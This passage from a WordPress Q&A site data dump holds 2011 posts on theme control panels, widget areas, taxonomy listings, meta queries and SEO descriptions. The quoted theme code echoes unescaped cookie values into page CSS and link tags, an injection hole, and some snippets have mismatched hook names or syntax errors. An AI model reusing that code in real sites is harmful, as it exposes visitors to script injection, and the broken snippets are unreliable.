class=&quot;et-sample-setting et-texture&quot; id=&quot;et-sample-texture&amp;lt;?php echo $i; ?&amp;gt;&quot; href=&quot;#&quot; rel=&quot;bg&amp;lt;?php echo $i+1; ?&amp;gt;&quot;&amp;gt;&amp;lt;span class=&quot;et-sample-overlay&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;?php } ?&amp;gt;&#xA;&#xA;                &amp;lt;?php &#xA;                    $google_fonts = $google_fonts;&#xA;                    $font_setting = 'Lobster';&#xA;                    $body_font_setting = 'Droid+Sans';&#xA;                    if ( isset( $_COOKIE['header_font'] ) ) $font_setting = $_COOKIE['header_font'];&#xA;                    if ( isset( $_COOKIE['body_font'] ) ) $body_font_setting = $_COOKIE['body_font'];&#xA;                ?&amp;gt;&#xA;&#xA;                &amp;lt;h3 class=&quot;control_title&quot;&amp;gt;Fonts&amp;lt;/h3&amp;gt;&#xA;                &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;label for=&quot;control_header_font&quot;&amp;gt;Header&#xA;                    &amp;lt;select name=&quot;control_header_font&quot; id=&quot;control_header_font&quot;&amp;gt;&#xA;                        &amp;lt;?php foreach( $google_fonts as $google_font ) { ?&amp;gt;&#xA;                            &amp;lt;?php $encoded_value = urlencode($google_font); ?&amp;gt;&#xA;                            &amp;lt;option value=&quot;&amp;lt;?php echo $encoded_value; ?&amp;gt;&quot; &amp;lt;?php selected( $font_setting, $encoded_value ); ?&amp;gt;&amp;gt;&amp;lt;?php echo $google_font; ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;?php } ?&amp;gt;&#xA;                    &amp;lt;/select&amp;gt;&#xA;                &amp;lt;/label&amp;gt;&#xA;                &amp;lt;a href=&quot;#&quot; class=&quot;et-control-colorpicker et-font-control&quot; id=&quot;et-control-headerfont_bg&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;label for=&quot;control_body_font&quot;&amp;gt;Body&#xA;                    &amp;lt;select name=&quot;control_body_font&quot; id=&quot;control_body_font&quot;&amp;gt;&#xA;                        &amp;lt;?php foreach( $google_fonts as $google_font ) { ?&amp;gt;&#xA;                            &amp;lt;?php $encoded_value = urlencode($google_font); ?&amp;gt;&#xA;                            &amp;lt;option value=&quot;&amp;lt;?php echo $encoded_value; ?&amp;gt;&quot; &amp;lt;?php selected( $body_font_setting, $encoded_value ); ?&amp;gt;&amp;gt;&amp;lt;?php echo $google_font; ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;?php } ?&amp;gt;&#xA;                    &amp;lt;/select&amp;gt;&#xA;                &amp;lt;/label&amp;gt;&#xA;                &amp;lt;a href=&quot;#&quot; class=&quot;et-control-colorpicker et-font-control&quot; id=&quot;et-control-bodyfont_bg&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt; &amp;lt;!-- end #et-control-inner --&amp;gt;&#xA;        &amp;lt;/div&amp;gt; &amp;lt;!-- end #control-panel-main --&amp;gt;&#xA;    &amp;lt;/div&amp;gt; &amp;lt;!-- end #et-control-panel --&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;add_action( 'template_redirect', 'load_scripts' );&#xA;function load_scripts(){&#xA;    $slider_type = apply_filters( 'slider_type', get_option('slider_type') );&#xA;    $template_dir = get_bloginfo('template_directory');&#xA;    wp_enqueue_script('jquery_cycle', $template_dir . '/js/jquery.cycle.all.min.js', array('jquery'), '1.0', false);&#xA;    $admin_access = apply_filters( 'showcontrol_panel', current_user_can('switch_themes') );&#xA;    if ( $admin_access &amp;amp;&amp;amp; get_option('show_control_panel') == 'on' ) {&#xA;        wp_enqueue_script('colorpicker', $template_dir . '/js/colorpicker.js', array('jquery'), '1.0', true);&#xA;        wp_enqueue_script('eye', $template_dir . '/js/eye.js', array('jquery'), '1.0', true);&#xA;        wp_enqueue_script('cookie', $template_dir . '/js/jquery.cookie.js', array('jquery'), '1.0', true);&#xA;        wp_enqueue_script('control_panel', get_bloginfo('template_directory') . '/js/control_panel.js', array('jquery'), '1.0', true);&#xA;    }&#xA;}&#xA;add_action( 'wp_head', 'set_bg_properties' );&#xA;function et_bg_properties(){&#xA;    global $bg_texture_urls;&#xA;    $bgcolor = '';&#xA;    $bgcolor = ( isset( $_COOKIE['bgcolor'] ) &amp;amp;&amp;amp; get_option('show_control_panel') == 'on' ) ? $_COOKIE['bgcolor'] : get_option('bgcolor');&#xA;    $bgtexture_url = '';&#xA;    $bgimage_url = '';&#xA;    if ( get_option('bgimage') == '' ) {&#xA;        if ( isset( $_COOKIE['texture_url'] ) &amp;amp;&amp;amp; get_option('show_control_panel') == 'on' ) $bgtexture_url =  $_COOKIE['texture_url'];&#xA;        else {&#xA;            $bgtexture_url = get_option('bgtexture_url');&#xA;            if ( $bgtexture_url == 'Default' ) $bgtexture_url = '';&#xA;            else $bgtexture_url = get_bloginfo('template_directory') . '/images/body-bg' . ( array_search( $bgtexture_url, $bg_texture_urls )+2 ) . '.png';&#xA;        }&#xA;    } else {&#xA;        $bgimage_url = get_option('bgimage');&#xA;    }&#xA;    $style = '';&#xA;    $style .= '&amp;lt;style type=&quot;text/css&quot;&amp;gt;';if ( $bgcolor &amp;lt;&amp;gt; '' ) $style .= 'body { background-color: #' . $bgcolor . '; }';&#xA;    if ( $bgtexture_url &amp;lt;&amp;gt; '' ) $style .= 'body { background-image: url(' . $bgtexture_url . '); }';&#xA;    if ( $bgimage_url &amp;lt;&amp;gt; '' ) $style .= 'body { background-image: url(' . $bgimage_url . '); background-position: top center; background-repeat: no-repeat; }';&#xA;    $style .= '&amp;lt;/style&amp;gt;';&#xA;    if ( $bgcolor &amp;lt;&amp;gt; '' || $bgtexture_url &amp;lt;&amp;gt; '' || $bgimage_url &amp;lt;&amp;gt; '' ) echo $style;&#xA;}&#xA;&#xA;add_action( 'wp_head', 'font_properties' );&#xA;function font_properties(){&#xA;    $font_style = '';&#xA;    $font_color = '';&#xA;    $font_family = '';&#xA;    $font_color_string = '';&#xA;&#xA;    if ( isset( $_COOKIE['header_font'] ) &amp;amp;&amp;amp; get_option('show_control_panel') == 'on' ) $header_font =  $_COOKIE['header_font'];&#xA;    else {&#xA;        $header_font = get_option('header_font');&#xA;        if ( $header_font == 'Lobster' ) $header_font = '';&#xA;    }&#xA;&#xA;    if ( isset( $_COOKIE['header_font_color'] ) &amp;amp;&amp;amp; get_option('show_control_panel') == 'on' )   &#xA;        $header_font_color =  $_COOKIE['header_font_color'];&#xA;    else &#xA;        $header_font_color = get_option('header_font_color');&#xA;&#xA;    if ( $header_font &amp;lt;&amp;gt; '' || $header_font_color &amp;lt;&amp;gt; '' ) {&#xA;        $header_font_id = strtolower( str_replace( '+', '_', $header_font ) );&#xA;&#xA;        if ( $header_font &amp;lt;&amp;gt; '' ) { &#xA;            $font_style .= &quot;&amp;lt;link id='&quot; . $header_font_id . &quot;' href='http://fonts.googleapis.com/css?family=&quot; . $header_font . &quot;' rel='stylesheet' type='text/css' /&amp;gt;&quot;;&#xA;            $font_family = &quot;font-family: '&quot; . str_replace( '+', ' ', $header_font ) . &quot;', Arial, sans-serif !important; &quot;;&#xA;        }&#xA;&#xA;        if ( $header_font_color &amp;lt;&amp;gt; '' ) {&#xA;            $font_color_string = &quot;color: #&quot; . $header_font_color . &quot; !important; &quot;;&#xA;        }&#xA;&#xA;        $font_style .= &quot;&amp;lt;style type='text/css'&amp;gt;h1,h2,h3,h4,h5,h6 { &quot;. $font_family .  &quot; }&amp;lt;/style&amp;gt;&quot;;&#xA;        $font_style .= &quot;&amp;lt;style type='text/css'&amp;gt;h1,h2,h3,h4,h5,h6 { &quot;. $font_color_string .  &quot; }&#xA;        #featured h2 a, #footer h4.widgettitle { color: #fff !important; }&#xA;        &amp;lt;/style&amp;gt;&quot;;&#xA;&#xA;        echo $font_style;&#xA;    }&#xA;&#xA;    $font_style = '';&#xA;    $font_color = '';&#xA;    $font_family = '';&#xA;    $font_color_string = '';&#xA;&#xA;    if ( isset( $_COOKIE['body_font'] ) &amp;amp;&amp;amp; get_option('show_control_panel') == 'on' ) $body_font =  $_COOKIE['body_font'];&#xA;    else {&#xA;        $body_font = get_option('body_font');&#xA;        if ( $body_font == 'Droid+Sans' ) $body_font = '';&#xA;    }&#xA;&#xA;    if ( isset( $_COOKIE['body_font_color'] ) &amp;amp;&amp;amp; get_option('show_control_panel') == 'on' )     &#xA;        $body_font_color =  $_COOKIE['body_font_color'];&#xA;    else &#xA;        $body_font_color = get_option('body_font_color');&#xA;&#xA;    if ( $body_font &amp;lt;&amp;gt; '' || $body_font_color &amp;lt;&amp;gt; '' ) {&#xA;        $body_font_id = strtolower( str_replace( '+', '_', $body_font ) );&#xA;&#xA;        if ( $body_font &amp;lt;&amp;gt; '' ) { &#xA;            $font_style .= &quot;&amp;lt;link id='&quot; . $body_font_id . &quot;' href='http://fonts.googleapis.com/css?family=&quot; . $body_font . &quot;' rel='stylesheet' type='text/css' /&amp;gt;&quot;;&#xA;            $font_family = &quot;font-family: '&quot; . str_replace( '+', ' ', $body_font ) . &quot;', Arial, sans-serif !important; &quot;;&#xA;        }&#xA;&#xA;        if ( $body_font_color &amp;lt;&amp;gt; '' ) {&#xA;            $font_color_string = &quot;color: #&quot; . $body_font_color . &quot; !important; &quot;;&#xA;        }&#xA;&#xA;        $font_style .= &quot;&amp;lt;style type='text/css'&amp;gt;body, .blurb h3.title, #footer h4.widgettitle, .widget h4.title { &quot;. $font_family .  &quot; !important }&amp;lt;/style&amp;gt;&quot;;&#xA;        $font_style .= &quot;&amp;lt;style type='text/css'&amp;gt;body { &quot;. $font_color_string .  &quot; }&amp;lt;/style&amp;gt;&quot;;&#xA;&#xA;        echo $font_style;&#xA;    }} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3232" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-08-09T16:33:10.597" LastActivityDate="2011-08-09T20:40:04.263" Title="Authors to be able to customize their author pages?" Tags="&lt;author&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="25436" PostTypeId="2" ParentId="25431" CreationDate="2011-08-09T16:03:58.253" Score="2" ViewCount="" Body="&lt;p&gt;You will want to create a new widget area or dynamic sidebar in your theme's code. &lt;a href=&quot;http://justintadlock.com/archives/2010/11/08/sidebars-in-wordpress&quot; rel=&quot;nofollow&quot;&gt;Justin Tadlock has a great tutorial&lt;/a&gt; about how to do this, but the basics boil down to this.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the widget area declaration in your theme's functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action('widgets_init', 'my_register_sidebars');&#xA;function my_register_sidebars() {&#xA;/* Register the 'cartwidgets' sidebar. */&#xA;register_sidebar(&#xA;    array(&#xA;        'id' =&amp;gt; 'cartwidgets',&#xA;        'name' =&amp;gt; __( 'Cart Widgets' ),&#xA;        'description' =&amp;gt; __( 'A short description of the sidebar.' ),&#xA;        'before_widget' =&amp;gt; '&amp;lt;div id=&quot;%1$s&quot; class=&quot;widget %2$s&quot;&amp;gt;',&#xA;        'after_widget' =&amp;gt; '&amp;lt;/div&amp;gt;',&#xA;        'before_title' =&amp;gt; '&amp;lt;h3 class=&quot;widget-title&quot;&amp;gt;',&#xA;        'after_title' =&amp;gt; '&amp;lt;/h3&amp;gt;'&#xA;    )&#xA;);&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then in the appropriate files in your theme (page.php, single.php, index.php, etc.) include code similar to the following to actually show the new widget area:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;sidebar-primary&quot; class=&quot;sidebar&quot;&amp;gt;&#xA;    &amp;lt;?php dynamic_sidebar( 'cartwidgets' ); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Those are the basics, but I would highly recommend you read Tadlock's post, as he's done a great job of explaining all of the parameters and pitfalls. Doing this, you'll be able to drag the cart's widgets into these new sidebars and they will show up, just as WordPress is designed.&lt;/p&gt;&#xA;" OwnerUserId="7105" LastEditorUserId="4588" LastEditorDisplayName="" LastEditDate="2011-08-10T09:04:20.900" LastActivityDate="2011-08-10T09:04:20.900" />
  <row Id="25437" PostTypeId="2" ParentId="25433" CreationDate="2011-08-09T16:06:07.347" Score="0" ViewCount="" Body="&lt;p&gt;You can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_object_terms&quot; rel=&quot;nofollow&quot;&gt;wp_get_object_terms&lt;/a&gt;. It returns an array, leaving you with a better control over the display.&lt;/p&gt;&#xA;" OwnerUserId="4740" LastActivityDate="2011-08-09T16:06:07.347" CommentCount="5" />
  <row Id="25438" PostTypeId="2" ParentId="25418" CreationDate="2011-08-09T16:29:34.637" Score="0" ViewCount="" Body="&lt;p&gt;Hiding WordPress is possible but takes a lot of effort and is problematic with updates. Also it is the wrong solution, a better option would be to actually secure WordPress,  and there are many guides/plugins that can help you do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your question, it does not really make much sense to use w3 total cache to rewrite directories for security. &lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-09T16:29:34.637" CommentCount="5" />
  <row Id="25439" PostTypeId="2" ParentId="25433" CreationDate="2011-08-09T16:50:35.280" Score="0" ViewCount="" Body="&lt;p&gt;As a follow up to @Rutwick Gangurde Answer, here's an example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notes: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Put it in your functions.php file, call it in the template file.&lt;/li&gt;&#xA;&lt;li&gt;Alter the output by inspecting the &lt;code&gt;$term&lt;/code&gt; inside the foreach loop&lt;/li&gt;&#xA;&lt;li&gt;Read the comments inside the function&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function wpse25433_terms_list( $cat = array('categories'), $el = 'li', $echo = true )&#xA;    {&#xA;    global $post;&#xA;    $post_id = $post-&amp;gt;ID;&#xA;&#xA;    $terms = wp_get_object_terms( &#xA;        $post_id, &#xA;        $cat, &#xA;        array( &#xA;             'orderby' =&amp;gt; 'name'&#xA;            ,'order'   =&amp;gt; 'ASC'&#xA;            ,'fields'  =&amp;gt; 'all' &#xA;    );&#xA;&#xA;    $counter = count ( $terms );&#xA;    $i = 1;&#xA;    $left = $right = '';&#xA;    foreach ( $terms as $term )&#xA;    {&#xA;        # uncomment the following line to inspect the $term object&#xA;        // echo '&amp;lt;pre&amp;gt;'; print_r( $term ); echo '&amp;lt;/pre&amp;gt;';&#xA;        $i++;&#xA;        if ( $i &amp;lt; $counter / 2 )&#xA;            $left .= ''; // @example: $term['name'];&#xA;        else &#xA;            $right .= ''; // @example: $term['whatever_value_you_need'];&#xA;        $i++;&#xA;    }&#xA;&#xA;    $el_cont = 'ul';&#xA;    if ( $el !== 'li' )&#xA;        $el_cont = $el = 'div';&#xA;    $output  = &quot;&amp;lt;{$el_cont} class='terms-container'&amp;gt;&quot;;&#xA;    $output .= &quot;&amp;lt;{$el} class='terms-left'&amp;gt;{$left}&amp;lt;/{$el}&amp;gt;&quot;;&#xA;    $output .= &quot;&amp;lt;{$el} class='terms-right'&amp;gt;{$right}&amp;lt;/{$el}&amp;gt;&quot;;&#xA;    $output .= &quot;&amp;lt;/{$el_cont}&amp;gt;&quot;;&#xA;&#xA;    if ( $echo )&#xA;        return print $output;&#xA;&#xA;    return $output;&#xA;}&#xA;&#xA;// Use it in your template like this:&#xA;wpse25433_terms_list( array( 'name', 'some', 'taxonomies' ), 'li or div', true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-09T18:08:35.760" LastActivityDate="2011-08-09T18:08:35.760" CommentCount="2" />
  <row Id="25440" PostTypeId="2" ParentId="25381" CreationDate="2011-08-09T16:55:46.620" Score="1" ViewCount="" Body="&lt;p&gt;The only built in way ( using a function) is to use &lt;code&gt;WP Query&lt;/code&gt; and the custom field parameters, specifically &lt;code&gt;meta_query&lt;/code&gt; and &lt;code&gt;compare&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Custom_Field_Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/WP_Query#Custom_Field_Parameters&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example to get you started:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = new WP_Query( array( 'meta_key' =&amp;gt; 'your_date',  'meta_compare' =&amp;gt; '=' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively, the custom field functions in Wordpress do not have many parameters, they are basically for adding and retrieving data, which you can then use with native PHP, for instance you can return the custom field as an array using something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$meta_date_array = get_post_meta($post_id, $key, false);&#xA;ksort($meta_date_array);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and use PHP's &lt;code&gt;ksort&lt;/code&gt;to sort the order.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-08-09T17:00:50.670" LastActivityDate="2011-08-09T17:00:50.670" CommentCount="1" />
  <row Id="25441" PostTypeId="2" ParentId="25390" CreationDate="2011-08-09T17:01:41.353" Score="0" ViewCount="" Body="&lt;p&gt;I agree on using the Duplicator plugin. I tried it recently and it worked without a hitch. the instructions were a little lacking but I was able to figure it out.&lt;/p&gt;&#xA;" OwnerUserId="7318" LastActivityDate="2011-08-09T17:01:41.353" />
  <row Id="25442" PostTypeId="1" AcceptedAnswerId="26575" CreationDate="2011-08-09T17:06:57.240" Score="1" ViewCount="142" Body="&lt;p&gt;I'm using a slightly modified copy of the &lt;a href=&quot;http://wordpress.org/extend/plugins/multisite-user-management/&quot; rel=&quot;nofollow&quot;&gt;Multi Site User Management&lt;/a&gt; plugin to keeps users synced across a multisite network, but have one problem with it. When a user's role is updated on the main site, the role is NOT updated on the sub site. In order for everything to work correctly, user roles must stay in sync.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been looking without success, so is there an action that runs when a user is updated? I know about the profile_update and wp_update_user functions / hooks, but neither of these work because the user role is updated via an external function. So I need a new way of always syncing user roles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2418" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-18T23:04:58.133" LastActivityDate="2011-08-22T15:04:53.473" Title="Update User Role Across Network when Main Site User is Updated" Tags="&lt;multisite&gt;&lt;users&gt;&lt;roles&gt;&lt;user-roles&gt;" AnswerCount="3" CommentCount="16" />
  <row Id="25443" PostTypeId="2" ParentId="22432" CreationDate="2011-08-09T17:32:19.203" Score="0" ViewCount="" Body="&lt;p&gt;Most probably, that is because you have some plugin installed that changes your rewrite rules and hooks &lt;code&gt;wp_login_url()&lt;/code&gt; call. Try to disable plugins (by renaming their directories, for example. Try to switch to another theme.&lt;/p&gt;&#xA;" OwnerUserId="7538" LastActivityDate="2011-08-09T17:32:19.203" />
  <row Id="25444" PostTypeId="2" ParentId="24236" CreationDate="2011-08-09T17:37:03.923" Score="0" ViewCount="" Body="&lt;p&gt;I have used a combination of a modified .htaccess and then a symlink to successfully change the wp-admin url and it has worked fine across many sites with various themes and hundreds of pluggins.  No hacking finding/replacing etc. needed.&lt;/p&gt;&#xA;" OwnerUserId="2506" LastActivityDate="2011-08-09T17:37:03.923" />
  <row Id="25445" PostTypeId="1" AcceptedAnswerId="25456" CreationDate="2011-08-09T17:39:43.220" Score="0" ViewCount="25" Body="&lt;p&gt;I have a web site that I am working on, hendersonvillecameraclub.org.  When I use Google to search for the site using 'hendersonville camera club' as the search terms my site is the 6th result.  Below the page title, it gives a snippet of the most recent post on the site.  My question is, how do I change what information is displayed in the summary?  I would prefer to put some static text there that provides a better description of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This site is hosted by GoDaddy, not sure if that's relevant information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7765" LastActivityDate="2011-08-09T18:44:04.033" Title="How do I change the web site summary in search results?" Tags="&lt;search-engines&gt;" AnswerCount="2" />
  <row Id="25446" PostTypeId="1" CreationDate="2011-08-09T17:45:11.257" Score="0" ViewCount="14" Body="&lt;p&gt;is there an easy way for me to save a variable and link it to a user?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;specifically I want to use meta box to output a variable on the front page, then have it be a link so if a user clicks it, it will store it in a div. I can do all the meta box stuff, just need the variable to be stored when link is clicked. kind of like a favorite system, but more custom. assuming I will have to access database somehow? not even sure where to start.&lt;/p&gt;&#xA;" OwnerUserId="7766" LastActivityDate="2011-08-09T18:20:44.637" Title="link variable to user" Tags="&lt;user&gt;" AnswerCount="1" />
  <row Id="25447" PostTypeId="2" ParentId="25445" CreationDate="2011-08-09T17:45:28.517" Score="0" ViewCount="" Body="&lt;p&gt;You need to set your meta description:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;a default installation of WordPress does not contain the description&#xA;  and keywords meta tag data&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To add meta tags to your site, simply add them to the header.php template file in your WordPress Theme, specifically in the head section near the link for the style sheet. See the following link for full instructions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Meta_Tags_in_WordPress&quot; rel=&quot;nofollow&quot;&gt;Meta Tags in Wordpress&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, see &lt;a href=&quot;http://www.google.com/support/webmasters/bin/answer.py?answer=35624#1&quot; rel=&quot;nofollow&quot;&gt;the Google commentary on meta descriptions&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-08-09T17:45:28.517" />
  <row Id="25448" PostTypeId="2" ParentId="106" CreationDate="2011-08-09T17:45:30.260" Score="0" ViewCount="" Body="&lt;p&gt;I have used a combination of a modified .htaccess and then a symlink to successfully change the wp-admin url and it has worked fine across many sites with various themes and hundreds of pluggins.  No hacking finding/replacing etc. needed.&lt;/p&gt;&#xA;" OwnerUserId="2506" LastActivityDate="2011-08-09T17:45:30.260" />
  <row Id="25449" PostTypeId="1" AcceptedAnswerId="25452" CreationDate="2011-08-09T18:04:12.240" Score="0" ViewCount="33" Body="&lt;p&gt;Sorry if this is a really silly question, but I am very new to Word Press.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, can one plugin update the settings of another Wordpress plugin? I suppose this might depend on the plugin and where it stores its settings. I don't know if plugins store their settings in static files or in the database. &lt;/p&gt;&#xA;" OwnerUserId="5864" LastActivityDate="2011-08-09T18:23:07.223" Title="Can Wordpress plugins &quot;Talk to each other&quot;?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="25450" PostTypeId="2" ParentId="25140" CreationDate="2011-08-09T18:13:31.913" Score="-1" ViewCount="" Body="&lt;p&gt;I solved it. It was the weird french characters, like &lt;strong&gt;é&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="7666" LastActivityDate="2011-08-09T18:13:31.913" />
  <row Id="25451" PostTypeId="2" ParentId="25446" CreationDate="2011-08-09T18:20:44.637" Score="0" ViewCount="" Body="&lt;p&gt;You can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/update_user_meta&quot; rel=&quot;nofollow&quot;&gt;update_user_meta&lt;/a&gt; to store the data, and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_user_meta&quot; rel=&quot;nofollow&quot;&gt;get_user_meta&lt;/a&gt; to retrieve the data. As far as actually saving it when clicked, you could use a simple ajax call when the user clicks the link. Check out the following resources for dealing with AJAX in Wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/AJAX&quot; rel=&quot;nofollow&quot;&gt;AJAX in Wordpress&lt;/a&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/AJAX_in_Plugins&quot; rel=&quot;nofollow&quot;&gt;AJAX in Plugins&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7435" LastActivityDate="2011-08-09T18:20:44.637" CommentCount="1" />
  <row Id="25452" PostTypeId="2" ParentId="25449" CreationDate="2011-08-09T18:23:07.223" Score="0" ViewCount="" Body="&lt;p&gt;Simple Answer would be yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It really depends on the plugin. A good plugin will take use of the many API's that Wordpress has set up for development, such as the settings API. Most plugins will probably store their settings using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_option&quot; rel=&quot;nofollow&quot;&gt;get_option&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good place to start will be the &lt;a href=&quot;http://codex.wordpress.org/Main_Page&quot; rel=&quot;nofollow&quot;&gt;Wordpress Codex&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7435" LastActivityDate="2011-08-09T18:23:07.223" CommentCount="2" />
  <row Id="25453" PostTypeId="1" AcceptedAnswerId="25464" CreationDate="2011-08-09T18:39:52.683" Score="1" ViewCount="51" Body="&lt;p&gt;What's the most efficient way - concerning the database - to add and query extra usermeta fields to a profile?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to add four additional fields of numeric and text data to a user profile and then query that to compile the data for display in a template. And there are potentially thousands of users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are lots of examples to store the data in usermeta. But should this amount of data be stored in the usermeta table?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or should I store it all in a new database table? And if so, how do I initialize a new table and then write to it?&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-08-09T20:23:00.203" Title="What's the most efficient database method to add and query usermeta?" Tags="&lt;database&gt;&lt;usermeta&gt;" AnswerCount="2" />
  <row Id="25455" PostTypeId="2" ParentId="25385" CreationDate="2011-08-09T18:43:11.087" Score="0" ViewCount="" Body="&lt;p&gt;I found this just a moment ago when searching. Works great.&#xA;&lt;a href=&quot;http://blog.coderaustralia.com/tag/wordpress-auto-login-and-redirect&quot; rel=&quot;nofollow&quot;&gt;http://blog.coderaustralia.com/tag/wordpress-auto-login-and-redirect&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-08-09T18:43:11.087" />
  <row Id="25456" PostTypeId="2" ParentId="25445" CreationDate="2011-08-09T18:44:04.033" Score="0" ViewCount="" Body="&lt;p&gt;Try an SEO or meta tag plugin that will give you the most options to work with meta for the home page, for post pages, static pages, etc. It's not enough to simply add one metatag to the header template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=SEO&amp;amp;sort=&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/search.php?q=SEO&amp;amp;sort=&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-08-09T18:44:04.033" CommentCount="3" />
  <row Id="25457" PostTypeId="1" CreationDate="2011-08-09T18:44:51.423" Score="0" ViewCount="33" Body="&lt;p&gt;I want to display multiple posts from different categories to represent featured on my blog. What I did was &lt;code&gt;&amp;lt;?php query_posts(&quot;showposts=2&amp;amp;cat=3&quot;); $i = 1; ?&amp;gt;&lt;/code&gt; &#xA;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts(&quot;showposts=2&amp;amp;cat=1,3&quot;); $i = 1; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both won't work. Any clues?&lt;/p&gt;&#xA;" OwnerUserId="5301" LastActivityDate="2011-08-09T19:08:02.137" Title="How to show multiple posts from different categories?" Tags="&lt;posts&gt;&lt;categories&gt;" AnswerCount="1" />
